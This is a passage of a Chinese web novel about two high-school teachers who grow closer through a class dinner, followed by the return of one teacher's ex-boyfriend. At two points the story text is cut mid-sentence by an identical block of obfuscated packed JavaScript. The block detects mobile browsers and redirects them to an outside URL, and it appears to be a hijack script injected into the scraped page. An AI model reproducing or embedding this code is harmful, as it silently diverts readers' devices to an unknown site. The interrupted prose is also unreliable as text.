比如燕习这个人是冷,不会外放什么情绪,但是并不是那种什么都不想管的老师,反而很细致,不管是在教学上,还是学生的生活上。 燕习虽然一身拒人千里之外的气质,但实际上每个学生的基本情况掌握的都很全面,还会因材施教,给不同阶段的学生布置不一样的作业。 之前倒数第一排的小胖子,每天就做笨鸟先飞,现在燕习重新给他划了卷子上的题,小胖子这一周下来,周测的分提了不少。 不仅如此,燕习观察学生的生活也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563433|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心细,刚好补全了祁衍平时和学生大大咧咧相处的方面。 就比如说,他们班有竟然有四对情侣!祁衍之前都没发现。 燕习当时告诉他的时候。 祁衍瞪大眼:“啊?” 他是真不知道,也可能是因为他不太管这个事儿,认为学生年代的恋爱本来就难得,只要不影响学习,顺其自然发生就发生呗,他也管不了。 但是知道有四对的时候,祁衍还是有些坐不住了。 “不是,陈勤这小子,平时看着特老实啊。”祁衍想不明白。 “我不认为。”燕习挑眉,手上还在判着卷子:“他在和黄同学的交往中,处于主动方,甚至有些偏执。” 黄同学就是陈同学的对象。 “这你都能看出来?”祁衍眼睛瞪更大了。 燕习语气平静:“我上课多,再加上带他们早自习,稍留心一点,能看出来。” 其实还是祁衍平时心大,不爱管这些事儿。 “那你刚说陈勤偏执?”祁衍手都放上燕习办公桌了:“怎么说?” 燕习判完最后一道题,合上了笔,轻叹了口气说:“比如,黄同学每次和她男同桌有一些说话交流的时候,陈同学都表现的非常在意。” “在意什么?”祁衍顺口问。 燕习抬了抬眼皮,看着他顿了几秒:“祁老师没谈过恋爱?” 祁衍愣了一秒,这话题怎么就到他这儿了,他啧了声:“那不废话。” 马上三十了,没谈过恋爱,这像话吗? “就是吃醋。”燕习说:“很明显,甚至黄同学每次要花很多精力哄他。” 祁衍现在觉得燕习可太厉害了,这都能看出来。 “不太健康的关系,不过目前看来,一个愿打一个愿挨。”燕习摘了眼睛,捏了捏眉心。 “那你什么意思?管不管?”祁衍说。 祁衍上次见燕习摘眼镜,还是第一次在酒吧见的时候,燕习摘掉眼镜,反而显得没那么冷了,他眉眼属于凌厉狭长的类型,没了镜片的遮挡,倒是有点儿野。 “我的看法是不插手。”燕习站了起来,拿下旁边衣架上的风衣,套了上去,一会儿要去上课。 风衣一掀,带来缕淡淡的,清爽的味道。 “我也这么想的。”祁衍摸了摸鼻子说:“这东西管不了。” 燕习穿上风衣,修长的手指挽了挽袖子,他身材本来就好,肩宽腰细,平时穿衬衣就够招眼了,现在套上件浅灰色风衣,身上的疏离感更重了,衬得身形更挺拔,腿特长。 祁衍作为一个二十九岁的正常男gay,不看白不看,上下扫了好几眼。 祁衍自认不是什么清心寡欲的人,但和前男友的上段感情花费了他太多心力,再加上当了班主任确实忙,所以祁衍这几年心思一直扑在工作上,平时在学校累半死,他真是半点儿不想…… 好吧,那是在燕习没来的时候。 燕习来了之后,祁衍确实偶尔会冒出些想法,多稀奇啊,这么帅个人成天在面前晃悠。 这几年也不是没帅哥接触他,但燕习这气质倒是独一份儿。 祁衍看着燕习,突然想起前几天,他回爸妈家,他爸说部队有人孝敬了他块儿茶饼,非拉着祁衍尝尝,说是这一小块儿能顶北京内环一套房,祁衍不当茶奴,说自己睡眠质量不好,死活不喝。 结果老头刚泡上,气儿一出来,祁衍就给香迷糊了,还是没忍住尝了口,是真香,五窍都通了,味儿越品越有。 燕习垂眼,自上而下看着祁衍,眼底顿了几秒才说:“我去上课。” 祁衍这才从燕习腰上回过神:“嗯行,那我回我办公室。” 燕习看了眼手表,轻挑眉:“大群里有通知,四点班主任开会。” “差点儿忘了。”祁衍这才真回过神,也站了起来:“谢谢燕老师提醒。” 燕习收回视线,没再说什么。 11. 011 再过一周就国庆了,学校要调休,这周得多上一天,节前事儿多,又赶上了月考,快放假前学校又让在月底体测,体测也就算了,教育局突然让他们体育老师对学生体育生活做个具体规划。 尤其是对于高三的学生,怎么保证劳逸结合,如何从运动的角度帮助高三缓解学业压力等等,还让各个学校的体育老师写个方案。 一堆事儿落在祁衍身上,直接给他砸的晕头转向,这几天就差没睡学校了。 好不容易,赶在国庆前,祁衍交上去了方案,学生月考也结束了,祁衍就想着国庆节带着班里学生聚聚。 上了高三之后,活动减半,什么运动会啊,文艺汇演什么的,就都别想了,这个月教师节的时候,祁衍提前就和他们说好了,不让他们整那些花里胡哨的,钱攒下来来,到时候国庆一起吃个饭。 学生也听话,教师节那天真没搞什么活动,就是挨个给祁衍发了个祝福,放假这天学生们订了位置去聚餐,毕竟是迟来的教师节聚餐,祁衍当然也问了他们班另一个班主任燕习。 燕习当时刚上完课,下走廊,祁衍逮着他,过去和他说了这事儿。 “去呗。”祁衍笑着说:“正好也算燕老师的迎新会。” 祁衍本来就是这么想的,燕习刚来六班,学生就给演了出戏,让人下不来台。 本来祁衍心里就过不去,他也和班里学生说了,聚餐会叫上燕老师,到时候让班里学生认真和燕老师倒个歉。 班里学生听说要叫燕老师,面面相觑。 “怎么着?还别扭呢?”祁衍说。 顾沁看了班里人一眼,举手说:“也不是,就是怕燕老师觉得我们烦。 学生现在对燕习也没什么意见了,毕竟燕习实力摆在这儿,上了一个月课,算是给这群学生上服帖了。 上次周测,班里学生的数学,祁衍还专门看过,有明显提高,尤其是最后的笨鸟们,基础题会的明显多了,这里面燕老师功劳最大,祁衍怎么着也得请这顿饭,就算不是和学生聚餐,他私底下也得请的。 不过学生对燕习还是害怕的,祁衍看了还想笑,这和小学生见着班主任就跑的心理也没什么区别。 “燕老师在,会影响我抢菜速度!” “不止是抢菜,咱还想小酌两口呢。”曹晨比了个拿杯子的姿势,嘿嘿一笑。 “不太好吧,上次的事儿,我们还没和燕老师道歉呢。”有学生说。 学生这下没人说话了。 “也是。”顾沁说:“但是,燕老师能来吗?” 祁衍手拄着讲台笑了会儿:“这人吧,我是肯定要叫的,要不然让燕老师私下知道了,没劲儿,至于他来不来……” “那就我去请呗。”祁衍摸了摸下巴,笑了:“说不定,我还能让燕老师带点儿好东西来。” “你确定学生想让我去?”燕习转头,轻挑眉看着祁衍。 祁衍手勾着卫衣带子,笑着说:“那肯定,上次的事儿,他们也挺过意不去的,来玩儿呗。” 燕习没立刻应声。 “去不去啊燕老师。”祁衍跟他后面下楼梯说:“去吧,我都和学生说好了。” “行。”燕习总算扔给他一个字。 祁衍眼睛都亮了:“真的啊?那到时候我去接你?” 燕习看了祁衍一眼:“不用,我自己开车。” “欸。”祁衍笑着说:“没事儿,我去酒吧接你呗,顺路顺路。” 燕习也没强求,点了点头:“那麻烦祁老师了。” “不麻烦不麻烦。”祁衍摸着下巴还在想事情。 燕习侧头,目光在祁衍身上落了好几秒。 聚餐那天傍晚,也就是刚放国庆假那天,祁衍回去洗了个澡,换了件衣服就出来了。 祁衍上车之后,系上安全带,给燕习打电话,那边接的很快。 “燕老师。”祁衍说:“我现在出发,大概五分钟左右到。” “好。”燕习那边应了声。 “欸,提醒你一下哈。”祁衍笑了声:“就吃个饭,衣服怎么随便怎么穿。” 燕习那边顿了下,才嗯了声。 祁衍挂了电话,到酒吧门口时,燕习已经在门口等着了。 和平时在学校的装束大相径庭,燕习摘了眼睛,疏离感少了很多,头发也放了下来,浅色的风衣,手往兜里一插,腿有两米长。 祁衍过去叫他,笑着说:“不是说怎么随便怎么穿吗?” “怎么?”燕习扫过自己这一身。 祁衍轻挑眉说:“吃饭的地儿是学生选的,我可不确定到底去哪,怕吃的味儿重的,染了你衣服。” 燕习摇头:“无所谓。” “行吧。”祁衍看了眼酒吧里面,勾着嘴角:“那再买点儿东西?” 燕习也回头看了眼。 祁衍直接进了酒吧,燕习跟在他身后,傍晚的酒吧并没有多少人,祁衍一进来,韦澄就已经看见他了。 祁衍每走近一步,韦澄来回扫视着俩人,连着哟了三声,祁衍才停他面前。 “怎么?几天不见,改当rapper了。”祁衍勾着嘴角打趣。 “可别,这蛋糕吃不起。”韦澄笑眯眯来回看着俩人:“嘿,我说燕哥刚放假,这大晚上撂下酒吧还往外跑,合着让祁老师约走了。” 祁衍笑了下,也没否认。 倒是燕习先开了口:“公事。” “行行行。”韦澄反正没信:“公事公事。” 祁衍拿过酒单,看了一圈,说了几瓶酒的名字,全是低度数的,喝多了也不会醉的那种。 “干嘛啊,出去约会自带酒水?”韦澄乐了。 祁衍笑着,正要说什么。 “你要给他们喝酒?”燕习蹙眉已经开口了。 祁衍搓了搓手说:“你以为我们不带,他们就不会自己买了?” “他们?谁们?”韦澄八卦着:“你们搞群趴啊。” 燕习蹙眉给了他一个眼神,韦澄个打工人,老板一生气,赶快嘴边比了个拉链的动作,退下去了。 “我可太了解他们了,肯定要喝的。”祁衍朝他眨眼。 燕习还是蹙着眉。 “这不燕老师开酒吧的嘛,拿几瓶酒还是行的吧?”祁衍笑着。 祁衍比他矮一点,斜撑着吧台的时候,从下往上看他,眉眼弯着,看着很乖。 也只是看着乖。 燕习微乎其微叹了口气。 “装吧。”祁衍一看燕习这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563434|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,已经转头和韦澄说了。 十多瓶酒装装得一会儿呢,祁衍又问韦澄:“多少钱?” 韦澄看了燕习一眼,嘿嘿一笑:“那我们可不敢要钱。” 祁衍又转头看燕习:“不用,这算我的,燕老师直说多少钱。” 祁衍是给班里的学生买,燕习不可能让他出这个钱。 “酒吧还没倒闭。”燕习说:“用不着。” 言下之意就是,酒吧酒多的是,祁衍没必要计较这个。 “那不行。”祁衍笑着说:“这买酒的事儿我没提前说,我的问题。” 燕习轻挑眉,这个男人每次都这样,他十分清楚做一些事会带来的后果,他也有选择不做,但每次照样还是会做,认错也是头一名,坦然地让人挑不出错,也没办法说他。 “这样吧。”祁衍一笑:“这事儿算我的,过两天我请你吃饭。” 燕习没立刻回答。 祁衍已经先一步接过话:“就这么定了啊燕老师,到时候我找你。” 燕习轻挑眉,他认为自己拒绝也没什么用。 韦澄难得看见自家老大这样,脸上笑就没停过,也是这时候,他认真观察起了这个叫祁衍的老师。 有点儿意思。 “走吧燕老师。”祁衍拎着酒说。 燕习全程没说几句话,还被坑了十瓶酒,某人不讲理,这种状态在学校里很少见,似乎放假解开了某人什么封印一样。 不过祁衍处在这种状态下,明显更信手拈来,也许他自己都没感觉到自己的变化。 这种状态,也更接近燕习第一次见祁衍的样子,在酒吧和人侃侃而谈,往那里一坐,漂亮的脸蛋总会吸引很多视线,祁衍毫不避讳,随性却又直接的态度很特别。 燕习不是一个喜欢观察别人的人,但那天晚上,在祁衍直接大胆和他盯着他对视了三四次之后,他承认确实对这个长相好看的男人产生了一些好奇。 祁衍一路带着燕习到副驾驶的位置,原本右手拿着的酒,换了左手拿,右手给燕习开了车门。 燕习眉心微乎其微挑了下,上了车:“谢谢。” “小事儿。”祁衍把酒放后座,上了车,离开酒吧,进了第一个路口,就碰上了长达一分钟的红灯。 祁衍摩挲了下手指。 “想抽就抽,我不介意。”燕习说。 祁衍转头看他一眼,笑了:“你怎么知道我想抽烟?” “你每次想抽烟前。”燕习也没看他,放在膝盖上的手,微抬,修长的手指交错了下:“都会磨手指。” 燕习心是真细,虽然他话少,但是会注意到很多细枝末节,这种人相处起来,给人的感觉很舒服。 “那我抽了。”祁衍手都放裤兜旁边了。 燕习看了他一眼,嗯了声。 祁衍还是怕燕习介意,开了半边窗户,几乎是手架在窗边抽的。 祁衍车里没那种皮革味儿,放了香薰,刚一进来,给人感觉挺清爽,像是青草的味道,现在冗杂了些烟草气,细闻似乎还有男人剃须泡的味道。 燕习社交圈非常固定,很少这样和一个陌生的成熟男人在密闭的车内,还要进行必要的交流才不显得尴尬。 燕习承认自己不太适应。 12. 012 燕习不知道他们订的哪里的饭店,车往巷子深处拐的时候,他才微蹙起了眉。 巷子里不少人在门口乘凉,打牌的,下棋的,喧嚷着,抄着一口老北京话,手上蒲扇晃荡着,耷拉着拖鞋,光晃在人身上,显得这里的人格外红润生机。 高巷子围墙挡住了城外的繁华,这里的人有一番自己的小天地。 “嘿,这地儿不错吧。”祁衍把车停了,摘了安全带说。 燕习一打开车门,还能闻见各种小吃的味道。 “走吧燕老师。”祁衍把后座的酒拿过来,递给了燕习。 燕习接过酒,和祁衍一起往里走,这巷子里一整条基本都是小吃街,特热闹。 祁衍带着他停在一家烧烤店的门口,转头扫燕习一眼,笑了。 燕习也低头看了看自己这一身,竟也无奈抬了下唇角。 “早说了让你随便穿,这衣服少说五个数吧。”祁衍勾起唇角:“又不是和我约会,打扮这么正式干嘛。” 燕习挽着袖子,闻言眉心一挑,视线落在了祁衍身上。 “开个玩笑。”祁衍朝他一笑:“进去吧燕老师。” 燕习也没说什么,抬步进了店里。 这家店人很多,楼下满座,学生在楼上订了包间,祁衍他们直接上了楼。 祁衍推门进去的时候,学生个个板正坐着,硬生生把烧烤店变成了会议室。 “哟,你们在班里要像这么安静,崔主任也能少记咱们班几次。”祁衍走进来,脱了外套,往旁边一搭。 学生假笑了几声,不敢出声,直勾勾盯着祁衍身后那位。 燕习身上的风衣搭在手臂上,祁衍顺手接过来,挂在了靠窗的位置,开着窗,能散散味儿。 燕习手上还拎着酒,往桌子上一放。 就这一放,学生默默对视了一眼,互相使着眼色。 不是,燕老师带酒了? 就这一举动,几乎是瞬间拉近了燕习和学生的距离。 学生心想:哟,燕老师你很懂啊! 曹晨:快出个声儿啊!场子尬住了。 陈宇然:班长打头,快快快。 “那什么。”顾沁不知道被谁推起来,耳朵都红着:“谢谢燕老师的酒!” 燕习拉凳子的动作一顿,看了眼祁衍。 祁衍坐在那里,卫衣拉链往下拉了拉,也没看燕习。 燕习来回扫视一圈,很快就猜到了祁衍打的什么小聪明,他拖开祁衍旁边的凳子坐下,轻轻叹了口气。 “你们……”顾沁嘴也没张,用腹语说:“就让我一个人说?” “谢谢燕老师给我们带酒!”曹晨搓着手站了起来:“这是我爸开的店,我们老曹家祖辈儿传下来的手艺,可好吃了,大众点评上排前几呢,要不是有自己人在这儿,还不一定能订着包厢……” “说什么呢你。”顾沁扯他裤子。 曹晨个欸了声:“我裤腰是紧松带儿的,你再使大点儿劲儿,我就光了。” 顾沁耳朵更红了,扭过头说:“真服了。” 祁衍从刚才起笑就没停过,来回扫视着一桌人,又看看燕习,光是看燕习那一脸无奈的表情,就够他乐一晚上了。 像这种尴尬紧张的气氛,只要有一个没僵住,就会像流感一样,一个传染一个,班里其他人也一个乐一个。 等他们笑了一会儿,祁衍才拍手站了起来,脸上还有刚才笑出的红润:“那什么,首先,让我们先感谢燕老师请的酒!” 桌上的人鼓掌又带拍桌子的。 燕习其实很不习惯应付这种场景,笑了笑说:“大家玩儿得开心就行。” 祁衍就不可能让场子冷下来,一举手,学生又开始鼓掌。 “其次。”祁衍有收有放,一握拳头说:“欢迎燕老师来到我们六班,将陪着我们六班走完最艰难的高三,之前是学生不懂事儿,现在全体学生都有。” 学生全都盯着燕习,鞠躬,异口同声说:“对不起燕老师。” 燕习无语了一瞬:…… “事儿过去了,不提了。”燕习无奈说。 学生不怕尬场,一群人自己给自己鼓掌。 最后就是教师节了,这是由班长来开头的,所有学生祝了祁衍和燕习教师节快乐。 “这必须碰一个吧祁哥!”曹晨给祁衍和燕习满了酒。 轮到燕习的时候,曹晨收敛了点儿:“燕老师能喝吗?” “可以。”燕习说。 祁衍笑了声:“欸,怎么就没问我能不能喝?” “又不是没一起喝过,门儿清。”陈宇然说。 祁衍之前聚餐确实和学生喝过几杯,但也仅仅是几杯,其实他才是真不能喝酒的那个。 不过今儿来,他做准备了。 祁衍把车钥匙往桌上一放:“欸,我今儿是燕老师司机。” 祁衍感觉旁边那位侧头看了他一眼,他清了清嗓子,背过了头。 “欸,祁哥你这么玩儿。”班里学生不乐意。 祁衍赶快转移话题:“都饿了吧,我刚才进门,看见服务员端了一大盘羊肋骨,给我香迷糊了。” 这话题转的够生硬,不过兴奋劲儿上来的小孩儿,注意力很容易就划走了。 正好服务员进来上串了,一帮人就想着抢肉了,也没人管祁衍了。 祁衍正松口气的时候。 身边突然逼近片陌生气息,带着些淡淡的像是茶香的味道。 包厢里太吵,凑很近才能听到彼此说话。 祁衍侧头看他。 燕习的凳子和他紧挨着,腿轻轻碰到了一起。 祁衍听到燕习在他耳边说了句。 “祁老师为了躲酒,拐这么一大圈来接我,还真是煞费苦心。”燕习语气淡淡的,句尾有些不经意的上挑。 说完又坐好,腿也从祁衍身边移开了。 祁衍脚不自然伸了伸,摸了下鼻子,笑了:“燕老师,接你我是真顺路,但我也是真不能喝。” 燕习垂眸扫他一眼。 “真的,顶多两杯,多了真不行。”祁衍这次没说假,他甚至连底都交了:“胃做过手术,十厘米长的刀口呢,不信我给你看。” 燕习沉默看着他。 祁衍拿不准他意思,手都放衣服边儿了:“真看啊?” “信。”燕习收回视线,淡淡扔给他一个字。 祁衍其实也就是在逗人,没想真给燕习看,但他还是莫名摸了摸自己刀口的位置,又朝燕习笑了笑。 学生都在抢着撸串,刚才燕习拿的酒也早被分了,不过一人一瓶根本不够这群学生造,曹晨还偷偷让服务员上了好几打啤的。 曹晨他们没办法逮祁衍造了,但也不敢和燕习闹太狠,但是中国人的传统,来都来了,那就你了! “燕老师。”燕习身边突然站了个学生,是上课最后一排的小胖子。 他憋得脸通红,手上拿了扎啤酒。 其他学生憋着笑,陈宇然他们几个活跃的大头,捂着嘴低声说:“上,别怂。” 祁衍也憋着笑,估计这小胖子是大冒险输了,让人逮上来了。 祁衍手上剥着花生米,一会儿往嘴里扔一颗,脸带笑看着这边。 “谢谢燕老师给我专门出的卷子,还给我讲错题……”小胖子长得矮,站在那里和燕习坐着差不多,低着头也不敢看燕习,一股脑说:“燕老师您讲课真的特好,敬您一杯。” 燕习礼貌回应着,拿起杯子满满喝了满满一杯,又说:“假期作业好好写,开学我检查。” 祁衍一个白眼差点儿翻过去,要是他高中听到数学老师这祝福语,能吓得晕过去。 显然小胖子也吓得不轻,赶快喝完,跑回去了。 有人打了头,后边的人就理所应当来了,刚开始理由还挺正常,后边就越来越跑偏。 “燕老师,感谢您认真看我狗爬的字,还能在我全写错的时候,可怜给我一分,来喝一个。” 燕习:“好好练字,继续努力。” “燕老师,您衣品太好了,每次看见您的衣服,我都想回去把我爸的鸡心领都扔掉。” 燕习:“干净清爽就行。” “燕老师,我很真诚地夸您!您真的长得真特别帅,腿长腰细的,直接撼动了我们祁老师在学校超话最帅教师排行榜的地位!” 燕习拿过学生递上来的酒,喝完了才又蹙眉问:“什么榜?” “最帅男教师排行榜!”祁衍打了个响指,笑眯眯说:“首先说明,这个榜,是我来学校之后才有的,专门给我立的榜单,之前都只有最丑教师榜。” 燕习表情复杂无奈。 祁衍就喜欢看他这个表情,乐了好一会儿。 学生随便找个理由,都能拿上来敬酒,燕习不好意思不 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燕习在洗手间洗了把手,这些酒不至于让他喝醉,但是这里的气氛,确实让他不适应。 他不太喜欢这种大规模的聚餐,会觉得很累,要应付很多人,熟悉的,不熟悉的。 所以之前无论是读书的时候和导师聚餐,还是之前在大学当老师时候的各种聚餐,燕习都尽量能不去就不去。 今天这场聚餐,在他意料之外,原本只是以为来走个过场,也没想到会喝酒,还被灌这么多。 燕习蹙眉,捏了捏眉心,也不是反感这种氛围,只是不习惯,很不习惯。 燕习缓了一会儿才回去,上楼的时候,有人突然叫住了他。 是店里老板,一看就是曹晨他爸,两个人的眼睛一模一样,说话的方式也是,话特别多,说不尽。 他先是问燕习是不是教他们孩子的老师,之后就大张旗鼓夸了燕习一堆话,甚至都说到了高一某次考试。 燕习有好几次想插话说,自己九月份才刚带他们,但是曹爸爸没给他这个机会。 燕习想逃离,抬手看了眼表,如果滔滔不绝的是燕习的同学,朋友,甚至是上司,他都能很直接打断没有必要的交流,然后转身离开。 但是面对学生的家长,尤其表现得如此亲近,燕习有些头疼。 “燕老师。”祁衍过去,很自然站在燕习旁边:“哟,和曹爸聊起来了。” 曹爸爸一见祁衍,表现的更活跃了,拉着祁衍就要聊。 祁衍和他聊了几句,及时止住了话头:“好了哥,上边一群学生呢,不看着他们,肯定要闹,先上去了。” “行行行,你们赶快上去吃,串儿不够再和我说哈。”曹爸说。 说完祁衍和燕习对视一眼,转身上了楼。 进包厢的时候,学生还在闹腾,祁衍他们插不进这群小年轻的话题,这些学生也没那么见外了,也不管有老师在,玩儿挺疯的。 燕习刚坐下,手边就多了碗蛋炒饭。 燕习转头看向了递过来的人。 “你刚就没吃几口串,吃不习惯?”祁衍又给他倒了被茶水。 燕习也没客气,接过蛋炒饭:“没,喝酒喝的。” “虽说都高三了,这一半人都成年了,但还是没数。”祁衍笑了笑:“燕老师别介意。” “没有。”燕习摇头,过了会儿才说:“的确不太习惯这种氛围,但不反感。” 祁衍看了燕习一会儿,笑了笑:“那就行。” 祁衍刚才也确实感觉出燕习有点别扭,也可能是喝酒喝的,也可能是被猴儿们闹的。 所以祁衍才下去给燕习点了蛋炒饭,趁燕习不在,还和学生说,让他们别再闹燕老师。 燕习吃完蛋炒饭,学生也都闹差不多了。 祁衍早就包了车在楼下等着了,班里有一半的人都住校,国庆也不回家,留学校学习。 不管是住校的,还是回家的,祁衍都叫了车,挨个给学生送上车,祁衍才转头看燕习。 “走吧燕老师。”祁衍朝他笑了声。 燕习垂眼:“嗯。” 耳边久违恢复了平静,只有巷子里闷闷的人声,像是盖了层塑料袋。 燕习酒量不错,刚才那点不至于喝多,但现在突然恢复平静,脑子难免还是有些昏昏沉沉。 13. 013 上车前,燕习扫了眼四周说:“我自己打车吧,有点晚了,不回酒吧了。” “我还以为你一直住酒吧呢。”祁衍有点儿惊讶,笑了声。 燕习摇头:“酒吧离学校近才住的。” “没事儿,上车吧,你去哪儿我都顺路。”祁衍给他开了车门。 燕习喝了酒,脖子有些泛红,眼底也像蒙了层雾,他沉默着没说话。 “燕老师,我今儿都当学生面说了当司机了。”祁衍笑着说:“总得让我装完吧。” 燕习无奈说:“那麻烦祁老师了。” “小事儿。” 燕习上了车,祁衍给他合上了车门。 祁衍开了点儿车窗,透透风,他车开的很稳,在巷口里走走停停都没太晃。 出了巷口后,燕习报了个地方。 祁衍轻轻挑眉,笑了:“哟,好地方。” 燕习捏着眉心,语气平静:“能住就行。” 祁衍笑了笑,拐出了巷口。 一路上祁衍都没怎么说话,车里气氛沉默,路上闷闷的车鸣声透过窗户,钻进人的耳朵里,还有平缓的呼吸声,悠长安静。 又碰上个红灯,祁衍转头才发现燕习已经睡着了,男人蹙着眉,车外的霓虹灯晃过男人的脸,整张脸轮廓柔和,凌厉狭长的双眸合上后,这张脸倒是显得温柔很多。 祁衍看了几秒,收回了视线,默默关上了车窗。 到燕习家门口停了车,祁衍原本还想着到地方了燕习还没醒,要怎么叫醒他。 结果刚停下车,燕习就睁开了眼,祁衍在后视镜里看了他一眼:“醒了?” “嗯。”燕习揉了揉眼睛才说:“太久没参加过这种聚餐了。” “有点儿累吧。”祁衍说。 燕习不置可否。 “也就这一次了,下次估计就等学生毕业了。”祁衍说到这儿,叹了口气。 燕习抬眼看了他一眼。 “班里这群猴儿吧。”祁衍手从方向盘上拿下来,挽了挽袖子说:“就是闹腾点儿,不过十七八岁的年纪,是该闹腾,其实还挺可爱的,有些事儿吧,他们年轻意气盛,想不周全,但本心都是好的,燕老师碰上了别介意。” 燕习眉心轻挑,嗯了声。 “好了,话都说完了。”祁衍说:“上去吧燕老师。” 燕习拢了下风衣,手撑着车门说:“慢点儿开车,回去发个消息。” 祁衍眼皮抬了下,笑了笑:“行。” 燕习刚要关门的时候。 祁衍欸了声。 燕习手顿了下。 “别忘了,咱俩还有一顿饭。”祁衍微微歪头说。 燕习手指放在车窗上,浅浅叩了两下,想了两秒,点了点头,关上了车门。 祁衍回去这一路,还挺费劲儿,因为燕习住这地方是真远,不过是个清静地方。 祁衍往回开了一个多小时的车,等到家停了车,他翻着消息,微信群里学生都在回复“已到家。” 这是祁衍这儿的惯例,只要是出来聚餐或者玩儿,回家都得发:已到家。 祁衍出了电梯,钥匙刚插进门一拧,他动作顿了下,眉头紧接着蹙了起来。 他停了好几秒,才拧开门,进了家。 门口多了双男士的运动鞋,祁衍把手上的钥匙扔在了鞋柜边。 屋子里传来慢吞吞的脚步声,越来越近。 祁衍头也没抬说:“这次走,钥匙记得留下。” “去玩儿了?”男人像是没听见祁衍的话,自顾自说着,声音微微上挑说:“你喝酒了?胃不难受?” 祁衍换完鞋,直接往卧室走,看都没看门口的人一眼,他关上门换衣服。 门外的人敲了敲门,叫他:“祁哥。” “外边儿等着。”祁衍不冷不淡扔给他一句。 门口的人沉默了会儿,才耷拉着拖鞋,离开了门口。 祁衍换了衣服,出去把衣服全一股脑扔进了洗衣机,又倒了杯水,喝了半杯才去了客厅。 沙发上坐着个男人,微长的发丝遮着眉眼,头发还有些湿润,刚洗完澡的样子。 他丝毫不见外,舒适地靠在沙发上,胳膊撑着枕头,手上拿着遥控器,正在调着电视里放的译制片的音量。 “看电影吗?”男人没什么表情,眼尾始终透着冷淡,但是话挺多。 祁衍没看电视,只是喝了口水,继续站在那里垂眼看着沙发上的男人。 “看这部?”男人扫他一眼,又问。 祁衍垂眼,微乎其微叹了口气。 林琰一直都是这样,分手这两个字在他那里,似乎只是摁下了关系的暂停键,等过几个月,他或许是想通了,再回来取消暂停键,装作若无其事,把分手这事儿揭过去。 距离上次吵架快半年了,吵得不可开交,祁衍提了分手,现在这事儿过去这么久了,林琰又回来了。 林琰也是国家队的,祁衍比他大五岁,算是看着林琰如何在队里成长为一名优秀的运动员的,林琰刚进国家队的时候,是祁衍带的他,祁衍是他队长,也算是他的引路人。 祁衍没理他,林琰垂眼,收回视线,也没再问。 “喝酒了记得吃胃药。”林琰淡声说。 祁衍动作随意,靠着沙发,沉默着。 林琰像是突然想起来了什么,转头说:“对了,这次日本比赛得了金牌,挂书房了。” 祁衍全身力气都卸了下来,捏了捏眉心说:“别拿了,没地儿放。” 林琰调高了些电影音量。 “包括房间里其他东西,哪天我收了,给个邮寄地址。” 林琰像没听见,只是手摁遥控器音量键用力了些。 林琰性子挺淡的,以前祁衍就是喜欢他这一点,和队伍里其他运动员比起来,林琰性格不浮躁,做事很有态度,也非常努力,虚心又有距离感。 不过和林琰处久了才知道,林琰对别人冷淡,对自己也是一样的,面对很多事情都非常固执,甚至到了偏执的程度,不允许自己出一点差错。 祁衍记忆最深刻的就是,林琰在纽约普通的练习赛,因为一次意外的动作失误,下场之后,在训练场练习了整整两个月,不和人说话,也不社交,除了吃饭就是训练,膝盖都出现了损伤。 祁衍当时是队长,他硬生生堵着林琰,带他去的医院,后来问过队里的心理医生他才知道,林琰之前有过心理问题,大概是童年时期,自闭症之类的,不过随着年纪增长好多了,至少在每月一次的体检中,林琰的身体和心理指数都是正常的,能维持正常训练。 “训练太忙了,经常拿不到手机,不是不想联系你。”林琰叹了口气说。 祁衍这些话都能背下来了,电影光线晃过他侧脸,祁衍嘲讽似笑了下,摩挲了下手指。 林琰确实是这样的,训练狂魔,以前不觉得有什么,是因为祁衍也在队里,林琰就算再怎么训练,俩人也能碰面。 后来祁衍退出国家队之后,林琰经常几个月不联系他,祁衍这时候才察觉到,除去训练场,两个人之间说没交集,就真没交集了。 刚开始祁衍教他,不联系人的时候,要告诉对方自己做什么去了;后来联不联系对祁衍来说,也无所谓了,反正林琰不会听他的,他只在想联系的时候,会联系他。 “我给你看我比赛的金牌,就是想告诉你,我是在为了我们的梦想努力,没有想丢下你。”林琰语气平淡说着,转头看祁衍。 祁衍还是没什么表情,他累的不行,今儿一天太累了,应付了一晚上小孩儿,现在回家了,这里还有个小孩儿要他应付。 林琰在他这儿就是个小孩儿,一个永远长不大的犟小孩。 “林琰。”祁衍捏了捏眉心说:“没那个必要,你是你,我是我,你用不着给我赢什么金牌,我用不着金牌,我现在是老师。” “别和我提这个。”林琰打断他说。 林琰一直不喜欢祁衍提自己当老师这件事儿。 祁衍叹了口气,他真心觉得累,现在和林琰说一句话都累,他们现在处在两个维度,林琰好像永远活在自己的世界里面。 “钥匙留下吧。”祁衍都没看他,最后累得只说了这一句。 林琰不说话了,过了会儿才说:“我下周就要去巴黎训练了,好不容易这几天有休息时间,要不是因为你,我不会回北京。” 祁衍很想质问林琰,为什么不管做什么都要加一个“为了他”的标签,金牌是为了他拿的,休息来这儿也是为了陪他。 林琰之前就这样,每次不管干什么,都习惯打着为了他的名号,年轻的时候,听到这个还觉得挺甜蜜。 现在祁衍不是二十出头了,他马上就迈三十了,他现在听这些,只会让他觉得无聊又幼稚,还很可怕。 